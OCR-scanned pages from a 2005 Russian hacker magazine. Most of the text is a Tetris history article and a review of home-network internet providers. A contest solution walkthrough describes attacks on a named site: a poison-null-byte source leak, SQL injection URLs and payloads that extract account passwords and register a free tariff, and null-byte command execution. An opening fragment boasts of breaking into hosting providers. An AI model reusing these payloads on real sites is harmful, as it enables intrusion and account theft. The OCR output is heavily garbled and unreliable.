взлома. Я также пообещал другану, что найду ему еще пару 
крупных хостингов с тремя тысячами доменов на борту. Поду- 
мываю в скором времени заняться поисками новой жертвы — 
девятилетней девочки по имени Бритни :) © 







ся к тебе отношение противоположного пола. Вон видишь, идет 
красавица в белой курточке и сапожках? 

— Нуда. Но она слишком хороша... Мне ничего не светит! 

— Так. Правило номер два: уверенность в себе. Ты все сможешь, 
запомни. Да и к тому же, задай себе вопрос: для КОГО эта дивчи- 
на так одевается? Тратит часы перед зеркалом на макияж? Для 
нас, мужчин. Будь смелее и бери то, что принадлежит тебе по 
праву. А ну пошел знакомиться! 

Окрыленный напутствиями, Иван неуверенной походкой подошел к 
девушке, и (Хинт, завязывай ты с литературными описаниями, у тебя 
всего половина полосы! — Прим. Никитоса)... и через 10 минут у него 
уже был адрес ее электронной почты — оІеа8787@Ьк.ги. Но вот неза- 
дача, Оленька после знакомства запамятовала пароль от мыла, а 
Иван ей пишет да пишет. И не понимает, почему нету ответа. Помоги 
ему отыскать красотку в белой курточке! А пока Блудекс расскажет 
тебе, как надо было проходить апрельский конкурс. 

Баг, который давал тебе шелл и, как следствие, возможность поста- 
вить сайт в позу, которая тебя больше всего вдохновляет, сидел в 
пользовательском интерфейсе. В разделе «О нас» создатели пишут 
о том, что они не читают журнал «Хакер». Ну раз не читают, тогда на- 
до их поломать , тем более что неподалеку, в новостях, сидит замеча- 
тельный перловый баг, в народе именующийся «ядовитый ноль». Че- 
рез этот баг, не прилагая особых усилий, можно получить исходник 
../іпсІех.рГір, который на самом деле и не рГір вовсе, а самый что ни 
на есть перловый скрипт. А для того чтобы его получить, всего-навсе- 
го нужно обратиться по адресу ѵѵѵ/ѵѵ.расіопак.ги/сді- 
Ып/аЬоиі/пѳѵѵ5/пе\/ѵ5.рІір?сІау=&топіІі=&уѳаг=/іпсІѳх&ега=рІір7о00, 
и в мгновение ока появится нужная нам новость в перловых тонах. Из 
этой новости узнаем, что префиксы перед таблицами МуЗОБ — Гсик_. 
А почему, собственно говоря, мы не можем просто зарегить юзе- 
ра и получить доступ к юзер-интерфейсу? Ответ прост: пока не оп- 
латим подключение, пароля от нашего акаунта у нас не будет. Но 
не платить же, в самом деле! Мы знаем, что если у ламеров есть 
ЗОБ, то у нас есть ЗОБ-ИесТіоп. Например, один из представителей 
этого вида зубастых хищников сидит по адресу тѵѵѵ.расіопак.ги/ 
Л//еіѵ.р/тр?/с/=0'%20С/Л//ОЛ/%205Е/.ЕС7%20'0', 'О', 'О', О", '0', О", 'О 1 , 'О', 'О', О", О", 1 
О', 'О 1 , '0', ’0', , 0',разз%20ЕІ^ОМ%201 : сик_изегз7о20Ѵ\/НЕ^Е%20патѳ= _имя_ 
реганого_аккаунта_'/‘ (как видишь, без Тсик_ не обошлось). Он по- 
ведает тебе пароль, который так тщательно скрывали админы. При 
входе в юзер-интерфейс вылезет сообщение о том, что следует 
отплатить долг, а пока не оплатишь — не пустят. Как видишь, двой- 
ная защита. Но на двойную защиту есть двойная ЗОБ-іпіесТіоп. Для 
ее проведения нужно в поле тарифа формы регистрации ввести 
«О' БІ[ЧІО[Ч 5ЕБЕСТ 'ЫаЫа', ’ОѴ, 1 )/*'/*» , тогда первая зеІесТ-инъек- 
ция сделает вторую инъекцию в инсерт-запрос. Так зарегистриру- 
ется тариф, стоящий $0. Вот мы и дошли до юзер-интерфейса. Те- 
перь решаем, что же с ним делать. Тут все проще некуда, самый 
стандартный баг, о котором сотню раз писали в X. Запрос 
\л/ѵѵ\л/.расІопак.ги/ сді-Ьіп/изѳг/іпсІех.рІір? I стсІ%00 выполнит ко- 
манду стсі. Вот и поизвращались! © 
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Жил-был на свете один парень. Обычный среднеста- 
тистический воспитанный маменькин сынок. Говорил 
«спасибо», был вежливым, не пил, не курил и не ругался 
матом даже. И вот однажды встретил Иван (именно так 
в сказках называют главных героев, и мы не будем де- 
лать исключений) прекрасную, как десятилитровая 
бочка пива, девушку со сложным, просто невыговари- 
ваемым именем — Маша. Полюбили они друг друга с 
первого взгляда, да и начали встречаться впослед- 
ствии. Ни в чем Ванька не отказывал своей любимой — 
цветы дарил, в рестораны водил. В общем, как мог, па- 
рень распинался. Но, как сказал один известный клас- 
сик с бакенбардами, чем меньше женщину мы любим, 
тем больше любит она нас. Так что через некоторое 
время наскучил Маше ее молодой человек, да и сказа- 
ла она ему коронную фразу: «Знаешь, ты слишком хоро- 
ший для меня, давай останемся друзьями». Ничего Ваня 
не понял. Ведь он и так и сяк пытался угодить своей вер- 
ной подруге — почему же она его бросить решила? Го- 
ревал день парень, горевал два. И так бы и по сей день 
горевал, если б не встретил доброго человека. 

— Эй, молодой человек, прикурить не найдется? — 
заскрежетал дед. 

— Да не курю я, — грустно ответил Ванюша. 

— А что голос-то унылый такой? И что пьешь один? 
Ты что, не знаешь — кто пьет один, тот чокается с 
дьяволом?! 

— Да мне сейчас хоть к дьяволу. . .Ушла от меня моя лю- 
бовь верная. 

— Так... Погоди-ка. Дай я угадаю, что она сказала. "Да- 
вай останемся друзьями, ты очень хороший"? 

— Да! Но как вы узнали? 

— А еще ты, наверное, стелился, прогибался под нее. 
По первому звонку бежал к ее дому, выполнял все кап- 
ризы, да? 

— Ну... да. Я же хотел показать, что люблю ее... 

— Запомни, парень. Правило номер один: ты мужчи- 
на. Ты главный. Двух грудей и стройных ножек недос- 
таточно, чтобы завоевать твое уважение. Будь мужчи- 
ной, веди себя, как мужчина, и увидишь, как изменит- 
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Игра, которая 
завоевала мир 

НЕ НАДО СРАЗУ ВОРОТИТЬ НОС, УСЛЫШАВ 
СЛОВО «ИГРА». Я ПРЕКРАСНО ЗНАЮ, ЧТО 
ТЫ ПРОДВИНУТЫЙ ХАЦКЕР И НЕ ИНТЕРЕСУ- 
ЕШЬСЯ КАКИМИ-ТО ИГРУШКАМИ. НО ДЕЛО 
В ТОМ, ЧТО ТЕТРИС — ЭТО НЕ ПРОСТО ИГ- 
РУШКА. В СВОЕ ВРЕМЯ ЭТО БЫЛ НАСТОЯ- 
ЩИЙ КОМПЬЮТЕРНЫЙ ФЕНОМЕН, КОТОРЫМ 
ПЕРЕБОЛЕЛА СНАЧАЛА ВСЯ НАША СТРАНА, 

А ПОТОМ И ВЕСЬ МИР. В ЭТОМ ГОДУ ТЕТРИС 
ОТМЕЧАЕТ СВОЙ 20-ЛЕТНИЙ ЮБИЛЕЙ, 

НО МНОГИЕ АВТОРИТЕТНЫЕ ИГРОВЫЕ ИЗДА- 
НИЯ ПО-ПРЕЖНЕМУ СЧИТАЮТ ЕГО ЛУЧШЕЙ 
ИГРОЙ ВСЕХ ВРЕМЕН. ИСТОРИЯ ТЕТРИСА 
ПОЛНА СОБЫТИЙ И ДРАМАТИЧЕСКИХ ПОВО- 
РОТОВ. СЕЙЧАС УЖЕ МАЛО КТО ПОМНИТ, 
КТО БЫЛ ЕГО АВТОРОМ И КАК ИГРА ПОПАЛА 
НА ЗАПАД. НО МНЕ КАЖЕТСЯ, ЗАБЫВАТЬ 
ТАКОЕ НЕЛЬЗЯ. В КОНЦЕ КОНЦОВ, 

НИ ОДНА ДРУГАЯ ПРОГРАММА, СДЕЛАННАЯ 
В РОССИИ, НЕ СМОГЛА ДОБИТЬСЯ 
ТАКОГО УСПЕХА I тіпсіѵѵОгк (тіпсіѵуОгк@датеІапсІ.ги) 

История тетриса 

[пентамино] В середине 80-х годов в Москов- 
ском Вычислительном центре при Академии 
наук работала вся элита русских програм- 
мистов. Здесь разрабатывались основные 
компьютерные проекты, писались нужные 
стране проги, здесь же находился компью- 
терный мозговой центр. Частью этого ком- 
пьютерного коллектива был Алексей Пажит- 
нов. Большую часть времени он занимался 
разработкой систем искусственного интел- 
лекта и распознавания речи. А больше все- 
го любил игры. Причем не какие-то аркады, 
а интеллектуальные головоломки, которые 
заставляли думать, и думать много. Будучи 
программером, как говорится, с головы до 



пят, Алексей не только играл в та- 
кие головоломки, но и писал их на 
компьютере сам, воплощая в них 
все свои рабочие идеи. 

Помимо Алексея, в ВЦ обитали 
Дмитрий Павловский, который 
работал там компьютерным ин- 
женером, и Вадим Герасимов — 

16-летний студент МГУ, быстро 
освоивший программирование 
и помогавший разрабатывать 
некоторые компьютерные про- 
екты. В 1985 году они втроем объединились, чтобы вместе напи- 
сать программу, состоявшую из 12 аддиктивных компьютерных 
головоломок для РС, и попытаться ее продать. Хотя сама мысль 
о продаже чего-то, во что вложены силы и время, в СССР счита- 
лась абсурдной. Процесс шел, программа пополнялась новыми 
играми, большинство из которых были написаны Павловским и 
Пажитновым ранее на других машинах и портированы Вадимом 
на РС. Также парни написали геймдевелоперский пакет для ра- 
боты с графикой, текстом и звуком, с помощью которого делать 
новые игры было значительно легче. 

В то время у сотрудников Вычислительного центра любимой игрой 
было пентамино. Цель в ней довольно простая — есть некоторое 
количество элементов, которые образуются из пяти соединенных 
друг с другом квадратиков, из них нужно собрать в определенную 
фигуру. Например прямоугольник десять на шесть клеток. Конечно, 
вариантов решения множество, и игроки в пентамино искали мак- 
симум возможных вариаций, соревнуясь друг с другом в скорости. 
Алексей Пажитнов хотел реализовать компьютерный вариант 
игры, чтобы компьютер сам искал варианты решения. Но в кру- 
пнейшем вычислительном центре СССР стояли те еще гробы, и их 
мощностей не хватало для вращения фигур. Пажитнову пришлось 
сократить число кубиков в элементах до четырех. И вот в один пре- 
красный день, программируя компьютерный аналог известной го- 
ловоломки, Алексея осенило — а почему бы ее немного не моди- 
фицировать? Пусть фигурки не стоят статично, а падают вниз, в то 
время как игроку нужно уложить их в определенном порядке. Так 
появилась идея великой игры. 



[как тетрис перебрался за океан] Первая версия тетриса (от ла- 
тинского ТеТга — «четыре»), как назвал ее автор, была написана 
на паскале для «Электроники-60» за две недели. Конечно, она бы- 
ла довольно примитивна и, по сути, кроме идеи ничем не выделя- 
лась. Но после того, как Вадим портировал ее на РС и пропустил 
через гейдев-пакет, игрушка преобразилась. В нее играла вся 
Академия наук, и притягательность была налицо. Когда же Алек- 
сей попытался продать свою игру, у него ничего не вышло. СССР 
был не далеко не лучшим местом для занятия частным бизнесом. 
Несколько копий программы были раздарены друзьям, и через 
них тетрис стал покорять Совет- 



ский Союз. Причем происходи- 
ло это стремительно — те, у ко- 
го оказывалась игра, сразу же 
заболевали тетрисоманией, 
продолжая заражать других. 

Доработка тетриса продол- 
жалась еще несколько меся- 
цев. Пажитнов и Герасимов 
модифицировали ее так, что 
играть могли два человека од- 
новременно, соревнуясь друг 
с другом. Через год тетрис 
уже был самой популярной 
игрой в СССР. Но из-за желез- 
ного занавеса о нем ничего не знали за рубежом. 

В конце 1985 года руководитель отдела, в котором работал Алексей 
Пажитнов, поделился копией игры с представителем одной про- 
граммерской фирмы в Будапеште, с которой они тогда сотруднича- 
ли. Венгерским программистам игрушка понравилась, и они порти- 
ровали ее на Арріе II и Соттосіоге 64. Они же передали ее Робер- 
ту Штейну, который был главой британской софтварной компании 
«Андромеда». Прекрасно разбираясь в играх и видя, какой аддик- 
тивностью обладает тетрис, Штейн сразу же загорелся желанием 
выкупить все права на него у авторов. Узнав, что на самом деле игру 
изобрели в недрах СССР, он собрался в Москву с твердым решени- 
ем заключить с русскими контракт. И уже считая себя правообла- 
дателем, перед вылетом продал права на тетрис британской ком- 
пании МіггогеоН и ее американскому подразделению Зресітит Но- 
ІоЬуІе, Но когда Штейн добрался до Москвы и переговорил с руко- 
водителями Вычислительного центра, воспитанные в лучших тради- 
циях СССР чиновники с подозрением отнеслись к буржую и катего- 
рически отказались иметь с ним дело. Мол, мы не продаем Родину. 
Штейн не растерялся и решил, что раз русские не хотят сотрудни- 
чать, можно обойтись и без них, а в качестве авторов указать венгер- 
ских программеров — вряд ли кто-то будет разбираться. 

Сразу после того, как тетрис появился на прилавках американских 
и британских магазинов, он стал хитом. Во-первых, потому что от него 
было невозможно оторваться. Во-вторых, это была первая компью- 
терная игра, которая выбралась из-за железного занавеса. Самой 
хитовой стала «русская версия», в которой присутствовали изобра- 
жения Красной площади и березок, а на фоне звучала столь родная 
русскому человеку «Калинка». К 1998 году детище Алексея Пажитно- 
ва возглавило топ продаж компьютерных игр в Англии и США. 



удалось договориться с русскими, и он официально получил 
права на создание игры для персональных компьютеров. 

К 1989 году по всему миру было продано более 30 миллионов копий 
тетриса, не считая клонов. Как раз в это время начали стремитель- 
но развиваться игровые приставки, и их производителям была нуж- 
на такая игра, как тетрис. Портированием хита на японскую игро- 
вую приставку Ратісот (в США более известна как ІЧІпІепсІо Епіег- 
Іаіптепі Зузіет) занималась ВиІІеІ-РгооІ ЗоНгл/аге, выкупившая пра- 
ва у Зресітит НоІоЬуІе. Всего за пару месяцев удалось продать 
2 миллиона картриджей с игрой. Корпорация ІЧІпІепсІо вскоре 
объявила о релизе новой карманной консоли Ѳате Воу, которая 
должна была взорвать рынок. Боссы компании хотели включить те- 
трис в поставляемый с консолью игровой комплект. Но ситуация 

усложнялась тем, что у ВРЗ были права только на создание Ре- 
версий тетриса, а когда президент ВиІІеІ-РгооІ Хэнк Роджерс свя- 
зался со Штейном и попытался выкупить права на производство 
консольной версии, тот отказал без всяких аргументов (дело в том, 
что у Штейна самого не было таких прав). Чтобы прояснить ситуа- 
цию, Хэнк отправился в Москву, чтобы встретиться с главными пра- 
вообладателями и заодно похвастать успехами игры. Узнав об этом 
и опасаясь, что Хэнк выкупит все права на тетрис, туда же отпра- 
вился Роберт Штейн. 

Продемонстрированный картридж с тетрисом вызвал бурю возму- 
щения — русские чиновники заявили, что ни у кого нет прав на вы- 
пуск тетриса для игровых консолей и что дело пахнет судом. Ро- 
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[портированная на РС версия тетриса от Алексея Пажитнова] 



[борьба за авторские права] Когда тетрис стал по-настоящему 
популярным, к Роберту Штейну стали обращаться другие ком- 
пании с предложением купить права на игру. Одной из таких 
компаний стала Аіагі, которая выпустила тетрис под лейблом 
«Тепдеп» для своих игровых автоматов. 

Успех игры не прошел мимо журналистов. Репортеры из телекана- 
ла СВЗ разузнали, кто является настоящим автором, и не полени- 
лись съездить в Москву, чтобы взять у него интервью. Так мир позна- 
комился с Алексеем Пажитно- 



вым. Заодно стало известно, что 
автор тетриса ни копейки не по- 
лучил за свою игру, а все прода- 
жи и сделки проходят мимо него. 
Разразился скандал, нача- 
лись разборки со Штейном. 
Причем ругался с ним не сам 
Алексей, а советское внешне- 
торговое объединение «Элек- 
троноргтехника» (ЭНТ), за кото- 
рым был закреплен тот самый 
Вычислительный центр. В кон- 
це концов Штейну все-таки 



джерсу удалось ус- 
покоить их внуши- 
тельным чеком в счет 
уже проданных ко- 
пий. А также заклю- 
чить многомиллион- 
ный контракт на про- 
изводство тетриса 
для игровых консолей (сумма, которую заплатила ІЧІп- 
Іепсіо за это право, приближается к 10 миллионам 
долларов). Роберт Штейн не смог уговорить русских 
продать ему все права на тетрис, но выкупил права на 
его выпуск для игровых автоматов. 

Боссы ІЧІпІепсІо настояли на том, чтобы представите- 
ли ЭНТ отправились в США и во избежание дальней- 
ших недоразумений четко сформулировали значе- 
ние термина «игровая консоль», указанного в кон- 
тракте. Консольные права были окончательно зак- 
реплены за ІЧІпІепсІо, и это событие было бурно от- 
мечено русскими и японцами в одном из самых до- 
рогих отелей Москвы. 




[самая первая версия тетриса для «Электроники-60»] 



[хакер 05 [77] 05 > СЦЕНА 081 ] 





[ХАКЕР 05 [77] 05 > СЦЕНА 082 ] 




[одна из последних версий тетриса от Пажитнова] [версия тетриса для консолей Аіагі] 




[версия тетриса для консолей Зеда] 



[так выглядит пентамино] 



Вскоре после этого глава [\Ііп1епсІо Го- 
вард Линкольн послал уведомление сво- 
ему главному конкуренту АГагі, преду- 
преждая, что если они в кратчайшие 
сроки не прекратят выпуск тетриса для 
своих консолей, их ждет суд и большой 

штраф. Подобное заявление привело Атари в бешенство — 
компания владела правами и имела значительную часть своих 
доходов с тетриса, прекращение поставок сулило многомил- 
лионные потери. Столь же сильный эффект оно оказало на 
мультимиллионера Роберта Максвелла, владевшего МіггогзоГГ, 

ЗресГгит НоІоЬуГе и многими другими компьютерными 
компаниями. Максвелл имел долю с продаж Атари, 
так как именно МіггогзоГГ заключила в свое время с ней 
контракт. И поскольку дело касалось его самого, Ро- 
берт использовал все свои связи и возможности, под- 
ключил британское и советское правительство, чтобы 
сохранить права на тетрис. Сам Михаил Горбачев по- 
обещал, что все будет чики-пики. 

Когда в апреле 1989 года Максвелл прилетел в Москву, 
то обнаружил, что ЭНТ распущено. Он тут же принялся 
собирать доказательства того, что сделки с продажей 
прав ІМІпГепсІо были фейком, даже взял интервью у Па- 
житнова и Со. Свое расследование проводила и І\Ііп- 

Гепсіо. Обе стороны готовились к судебной войне, результат которой имел 
большое значение для обеих компаний. 

В июне 1989-го состоялся суд между АГагі и ІЧІпГепсІо, на котором всплыло много 
интересных фактов, раньше тщательно скрывавшихся. В конце концов решение 
суда было таким: МіггогзоГГ не обладала правами на создание тетриса для игро- 
вых систем, следовательно, контракт, заключенный с АГагі, недействителен. 
Через неделю все копии Тепдеп были изъяты с прилавков, выпуск игры пре- 
кращен, а сотни тысяч картриджей отправились на склад. В то же время ІЧІп- 
Гепсіо представила свою версию тетриса для [\ІЕ5 и бате- 
Ьоу. Было продано более 30 миллионов копий, в Америке на- 
чалась новая волна тетрисомании. 

Все эти и другие сделки вокруг тетриса обошли автора игры 
Алексея Пажитнова стороной. Из многомиллионных прибы- 
лей, полученных благодаря его детищу, он не заработал ни 
копейки. Правда, ходят слухи, что государство подарило Па- 
житнову 286 компьютер и обеспечило квартирой. Но так ли 
было на самом деле, неизвестно. 



оставить работу над другими го- 
ловоломками и заняться произ- 
водством коммерчески успеш- 
ных программ. Павловский идею 
не одобрил, и некогда дружная 
группа распалась. А вместо это- 
го появилась Апіта Тек — компа- 
ния, созданная Пажитновым с по- 
мощью Хенка Роджерса. Позже 
она засветится в разработке та- 
ких игр, как Аде оГ Етрігез, ЕапТа- 
зу ТасГісз, ѴѴаг 2опе 2100. 

В 1991 году Алексей Пажитнов 
оставил Апіта Тек на своего 
друга и переехал в США. Там 
он основал новую компанию с 
говорящим названием ТеГгіз, за- 
регистрировал права на свою 
игру и начал, наконец, полу- 
чать с нее доход. А в 1996 году 
ему предложили работу в Міс- 
гозоГГ — в составе команды 
разработчиков создавать го- 
ловоломки для ѴѴІпсІо\л/з. Имен- 
но он является автором многих 
пазлов в Рапсіога'з Вох, полу- 
чившем несколько престижных 
наград. А в каждом продукте, 
выпущенном при участии Алек- 
сея Пажитнова, обязательно 
указывается, что к разработке 
приложился «тот самый чело- 
век, который придумал тетрис». 
С появлением огромного коли- 
чества трехмерных игр тетрис 
нисколько не утратил своей актуальности. В него по- 
прежнему играют — в офисах и дома, на РС и мобиль- 
ных телефонах, В интернете существуют сайты, где тетрисоманы в 
реальном времени соревнуются друг с другом, зарабатывая оч- 
ки и поднимаясь в рейтинге (см. ѵѵѵѵѵѵ.Шгізагепа.ги). А с 11 по 14 
мая 2005 года в рамках Кубка России по компьютерным играм 
состоится открытый турнир по сетевому тетрису, посвященный 

20-летию игры. 



[КЛОНЫ ТЕТРИСА] 

Прошло уже 20 лет, а тетрис продол- 
жает продаваться, пережив немысли- 
мое количество модификаций. Авторы 
используют заложенную идею и по- 
стоянно привносят в нее что-то новое. 
Расширяют количество фигур, добав- 
ляют новые элементы в «стакан», экс- 



Пройдет еще 20 лет, и 
третий дум вместе с 
четвертым квейком бу- 
дут казаться чем-то 
примитивным. Но лю- 
ди будут продолжать 
играть в тетрис, пото- 
му что эта игра на все 
времена © 



периментируют с аркадными вставка- 
ми. В свое вре- 
мя в России был очень популярен те- 
трис-вариант геймбоя, в котором 
насчитывалось 999 вариантов тетриса 
(правда, большинство из них практиче- 
ски ничем не отличались друг от дру- 
га). Можешь зайти на ѵѵѵѵм.зоіі.таіі.ги 
и посмотреть, сколь велика фантазия 
тетрис-мейкеров. 



[жизнь за бугром] С момента создания игры, пока мир за желез- 
ным занавесом переживал бум тетриса, Пажитнов и двое его то- 
варищей не переставали работать над задуманным набором 
пазлов. Когда Алексей узнал об успехе своей игры, он решил 



[ТЕТРИС — ЧЕМПИОН!] 

В 1989 году на ежегодной церемонии награждения 
лучших программ, которую проводит Американская 
Ассоциация производителей программного обеспече- 
ния, тетрис обошел десятки знаменитых американ- 
ских игр и получил четыре награды: «Лучшая развле- 
кательная программа», «Лучшая динамическая и 
стратегическая программа», «Лучшая оригинальная 
игровая разработка» и «Лучшее потребительское 
ПО». До этого ни одной игре не удавалось достичь 
такого признания. 








ЮНИТЫ КРЕАТИФФ КОДИНГ ІЛЧІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 
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Паутина 

домашних сетей 

1998 ГОД. ЗАПУСКАЮ ДИЛЕР, НАЖИМАЮ 
КНОПКУ «СОЕДИНИТЬСЯ». МОДЕМ НЕСПЕШ- 
НО НАБИРАЕТ НОМЕР. ЗАНЯТО. ЕЩЕ РАЗ. ЗА- 
НЯТО. ДОЛБЛЮСЬ 15 МИНУТ, НАКОНЕЦ СОЕ- 
ДИНЯЮСЬ НА СКОРОСТИ 33600 С МЕСТНЫМ 
ПРОВОМ. РЕАЛЬНАЯ СКОРОСТЬ — 1 КБ/С. 
ТЕРПЕЛИВО ЖДУ МИНУТУ, ПОКА ЗАГРУЗИТ- 
СЯ НУЖНЫЙ МНЕ САЙТ. НАЖИМАЮ НА ЛИНК, 
ЧТОБЫ СКАЧАТЬ ФАЙЛ. «СОЫМЕСТІОЦ ІІЧТЕВ- 
ВІІРТЕО». ДОЗВАНИВАЮСЬ СНОВА. ЗАНЯТО. 
ЗАНЯТО. ЗАНЯТО... 

2005 ГОД. САЖУСЬ ЗА КОМП, 24 ЧАСА В СУТ- 
КИ ПОДКЛЮЧЕННЫЙ К СЕТИ. ЗАПУСКАЮ ЛО- 
КАЛЬНОЕ РАДИО — КРУТЯТ ПОСЛЕДНИЙ АЛЬ- 
БОМ Ц2, КОТОРЫЙ ЕЩЕ НЕ ПОСТУПИЛ В ПРО- 
ДАЖУ. НАЖИМАЮ В БАТЕ КНОПКУ «ПОЛУ- 
ЧИТЬ ПИСЬМА» — ЗА ДВЕ СЕКУНДЫ ПАПКА 
НАПОЛНЯЕТСЯ ПАРОЙ ДЕСЯТКОВ НОВЫХ 
МЕССАГ ОБЩИМ ОБЪЕМОМ ЗА МЕГАБАЙТ. 

АХ ДА, ХОТЕЛ ЖЕ ПОСМОТРЕТЬ ФИЛЬМ. ЗА- 
ХОЖУ НА ЛОКАЛЬНЫЙ РЕСУРС, ПЫТАЮСЬ ИЗ 
2,5 ТЫСЯЧ ФИЛЬМОВ ВЫБРАТЬ ЧТО-НИБУДЬ, 
СМОТРЮ РЕЙТИНГ, КОММЕНТЫ ЮЗЕРОВ. НА- 
КОНЕЦ ОСТАНАВЛИВАЮСЬ НА КАКОЙ-ТО 
ДРАМЕ. КИДАЮ ЛИНК НА ФИЛЬМ В 5МАПТРТР. 
ЧЕРЕЗ ДВЕ МИНУТЫ УЖЕ СИЖУ, НАСЛАЖДА- 
ЮСЬ КАРТИНОЙ I тіпс1\л/0гк (тіпсІ\л/0гк@датеІапсІ.ги) 



Обзор крупнейших 
яокалок России 

[зачем подключаться к ДС?] Уверен, многие 
читатели «Хакера» до сих пор живут в 1998 го- 
ду, упорно продолжая дозваниваться до про- 
вайдера и имея в лучшем случае 3 Кб/с. Если 
ты относишься к их числу — эта статья для те- 
бя. Зная, насколько ты ленив, я пошуршал по 
сайтам и форумам и выкопал информацию о 
крупнейших провайдерах домашних сетей в 
Москве и Питере. Все, что тебе нужно знать о 
них, чтобы подключиться, ты найдешь ниже. 




I 




ЛЯ рМиб.ги — центровой 
ресурс для всех, кто интере- 
суется домашними сетями. 
ШрУ/ботепеІшогкв.гц — 
все о домашних сетях. 
ШрУ/шшш.пад.ги — авто- 
ритетный ресурс для про- 
двинутых хоумнетчиков. 
Шр://шшш.сотЫпа.пеІ/~да- 
$уа/ботеІап — большой 
РАО по организации ДС. 
ШрУ/мшт.зоПбос.гц/іп- 
бех.рбр ?орІіоп=соп- 
ІепІ&Іавк=ѵіеш&іб=91&ІІе- 
тіб=26 — инструкция по 
поднятию локалки своими 
силами. 



# ш^.,,,ши.ш — цст Н иои,і Но сначала хочу немного рас- 
ресурс для всех, кто интере- сказать, что представляет собой 
суется домашними сетями. домашняя сеть изнутри. Сам я 

подключен к питерскому «Ма- 
триксу» и во время переезда, по 
сути, выбрал район из-за него. 
Большинство провайдеров в сво- 
ей рекламе указывают, что теле- 
фон не будет занят, а скорость 
соединения по сравнению с ди- 
алапом возрастет на порядок. 
Это, конечно, так, но то же самое 
можно получить, подключившись 
по А05І_. Домашние сети помимо 
скорости дают большое друж- 
ное сообщество, частью которо- 
го ты можешь стать. Причем эти 
люди находятся не за тысячу 
миль, как в случае с интернетом, а в соседнем доме или даже квар- 
тире. Ты можешь потрепаться с ними в локалке, а потом организовать 
сходку в реале с пивом, шашлыками и девочками. По крайней мере, 
в нашей сетке народ встречается чуть ли не ка>кдый день. ДС — от- 
личное средство обзавестись новыми друзьями. Также крупная до- 
машняя сеть — это терабайты фильмов, музыки и прочего добра, ко- 
торое ты можешь скачать быстро и совершенно бесплатно. Обычно 
в сети новинки появляются раньше, чем их начинают продавать на пи- 
ратских лотках. Я уже забыл, когда последний раз покупал СЭ — это 
абсолютно не нужно, так как в сети можно найти практически все. Ну 
а скорость. . . Скажу только, что к скорости, на которой страницы в 
интернете загружаются мгновенно, а фильмы скачиваются за пару 
минут, ты привыкнешь очень быстро и потом будешь удивляться, как 
вообще мог так долго сидеть на диалапе. 

Если ты до сих пор живешь вчерашним днем, я настоятельно ре- 
комендую тебе накопить немного денег и подключиться к одной 
из домашних сетей. В своем обзоре я расскажу о самых замет- 
ных провайдерах, но ты можешь подключиться к любому другому. 
Уверен, где бы ты ни находился, рядом имеется домашняя сеть, в 
которой тебя ждут и где тебе будут рады. 



[московские ДС] «КОМКОР-ТВ» (ѴѴѴѴѴѴ.СОМСОР-ТѴ.Ш) 

Свое внедрение на рынок телекоммуникаций «Комкор-ТВ» начал 
в 2000 году. Сразу же были выделены большие деньги (не один 




миллион долларов) на построение и продвижение 
оптоволоконной и коаксиальной сетей. И уже через 
пару лет компания стала крупнейшим московским 
провайдером домашних сетей. Сейчас общая протя- 
женность сети «Комкор-ТВ» превышает 10 тысяч кило- 
метров, а количество подключенных юзеров достига- 
ет 80 тысяч. Понятное дело, останавливаться на этом 
боссы «Комкора» не собираются и обещают в бли- 
жайшие три года развернуться на территории, охва- 
тывающей 1,5 миллиона квартир. 

Помимо подключения к сети, компания предоставляет 
услуги кабельного телевидения и хостинга. За $8 в ме- 
сяц юзер получит более 30 лучших спутниковых кана- 
лов, начиная с «НТВ плюс» и заканчивая Оізсоѵегу. Они 
транслируются по сети в реальном времени, тебе да- 
же не понадобится ТВ-тюнер. 

«Комкор-ТВ» предоставляет безлимитный доступ к ин- 
тернету. Толщина твоего канала будет зависеть от 
суммы, которую ты заплатишь. Самый дешевый тариф 
«Смарт-Джет» стоит $20 в месяц: ты получишь 256 
Кбит/с входящего трафика и 128 Кбит/с исходящего. 
Самый дорогой — трехмегабитный канал с 512 мега- 
битами выхода — обойдется всего в $90. За эти деньги 
ты получаешь 100-350 Кб/с с неограниченным трафи- 
ком. Можешь качать варез хоть сутками. Как уверяет 
компания, это самое доступное высокоскоростное 
предложение с безлимитным доступом на рынке до- 
машних сетей. Конечно, одновременно хорошо и де- 
шево, как правило, не бывает. Но «Комкор-ТВ» заинте- 
ресован в расширении сферы своего влияния и дела- 
ет все, чтобы привлечь новых клиентов. Поэтому пред- 
почитает работать в убыток сейчас, чтобы выиграть в 
долгосрочной перспективе. Каждому подключивше- 
муся провайдер предоставляет 750 Мб под РТР, что то- 
же вряд ли можно найти у конкурентов. 

Количество внутренних ресурсов огромно. Сотни РТР- 
серверов, локальные форумы, ІРС-сервер, несколько 
радиостанций, сервер телеконференций, страница 
юридических консультаций, е-шопы и тьма различных 
сайтов, тематика которых варьируется от восточных 
единоборств до туристического сервиса, — тебе по- 
надобится несколько недель, чтобы все это просмо- 
треть. Независимо от выбранного интернет-тарифа, 
скорость внутри локальной сети будет 100 Мбит. Так 
что ты сможешь сливать фильмы с компов юзеров за 
считаные минуты. 

«Комкор-ТВ» царствует в таких районах, как Чертаново, 
Хамовники, Тверской, Мещанский, Красносельский, 
Таганский, Якиманский. И зона охвата быстро растет. 



«РМ ТЕЛЕКОМ» (НТТР://РМТ.Ри) 

Один из старейших операторов Москвы, которому в 
этом году исполнится 10 лет. Специализируется на 
предоставлении сетевых услуг: проведении выделе- 
нок, организации ѴРІЧ и радиоканалов связи, хостинге 
и т.п. Домашняя сеть этой компании имеет самую боль- 
шую зону охвата в России — кабель протянут по всей 
Москве и части Московской области. Так что, в каких 
бы столичных трущобах ты ни жил, велик шанс, что без 
сети ты не останешься. Хотя тем, кто находится за пре- 
делами МКАД, возможно, придется добавить денежку 
сверх стандартной стоимости подключения. Подклю- 
чить к стомегабитной се- 
ти гарантируют за 14 
дней, сумма — от $50 (за- 
висит от выбранного та- 
рифа). Минимальный та- 
риф — $45 в месяц за об- 
служивание канала без 
начисления на твой счет 
трафа. За каждый ска- 
чанный мегабайт ты бу- 
дешь платить из расчета 
$0,08, если слил до 1 Гб, 
$0,075 при 1-2 Гб, $0,055 
при 2-4 Гб, $0,043, если 
это 4-10 Гб, и так далее. 




Для таких интернет-маньяков, как мы с тобой, это вряд ли подойдет. Поэтому 
лучше присмотреться к тарифу «Оптимальный». Подключение к нему обойдет- 
ся в $100, еще $150 придется платить каждый месяц. Но за эти деньги ты полу- 
чаешь уже 5 Гб и $0,05 за каждый мег сверху. Тебе следует знать, что «РМ Теле- 
